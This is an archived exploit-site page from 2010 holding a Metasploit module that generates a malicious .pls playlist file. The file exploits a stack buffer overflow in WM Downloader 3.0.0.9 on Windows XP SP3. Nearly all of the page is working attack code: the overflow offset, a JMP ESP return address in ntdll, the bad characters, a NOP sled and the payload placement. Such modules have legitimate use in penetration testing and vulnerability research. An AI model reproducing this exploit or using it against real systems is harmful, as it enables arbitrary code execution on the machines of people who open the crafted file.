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WM Downloader v3.0.0.9 Buffer Overflow (Meta)

Posted on 25 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>WM Downloader v3.0.0.9 Buffer Overflow (Meta)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
WM Downloader v3.0.0.9 Buffer Overflow (Meta)
=============================================

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name' =&gt; 'WM Downloader Buffer Overflow Exploit',
            'Description' =&gt; %q{
                This module exploits a stack overflow in WM Downloader
version 3.0.0.9.
            By creating a specially crafted .pls file, an an attacker may be
able
            to execute arbitrary code.
            },
            'License' =&gt; MSF_LICENSE,
            'Author' =&gt;
                [
                    'Blake',
                ],
            'Version' =&gt; '$Revision: 1 $',
            'References' =&gt;
                [
                    [ 'OSVDB', '62614' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11384' ],
                ],
            'DefaultOptions' =&gt;
                {
                    'EXITFUNC' =&gt; 'thread',
                },
            'Payload' =&gt;
                {
                    'Space' =&gt; 1904,
                    'BadChars' =&gt; &quot;x00x0ax0dx20&quot;,
                    'StackAdjustment' =&gt; -3500,
                },
            'Platform' =&gt; 'win',
            'Targets' =&gt;
                [
                    [ 'Windows XP SP3', { 'Ret' =&gt; 0x7C96BF33} ],         #
ntdll.dll JMP ESP
                ],
            'Privileged' =&gt; false,
            'DisclosureDate' =&gt; 'Feb 10 2010',
            'DefaultTarget' =&gt; 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',
'exploit.pls']),
            ], self.class)
    end
 
 
    def exploit
 
        sploit = rand_text_alphanumeric(26084)
        sploit &lt;&lt; [target.ret].pack('V')
        sploit &lt;&lt; make_nops(20)
        sploit &lt;&lt; payload.encoded
        sploit &lt;&lt; rand_text_alphanumeric(28000 - payload.encoded.length)
 
        print_status(&quot;Creating '#{datastore['FILENAME']}' file ...&quot;)
        file_create(sploit)
 
    end
 
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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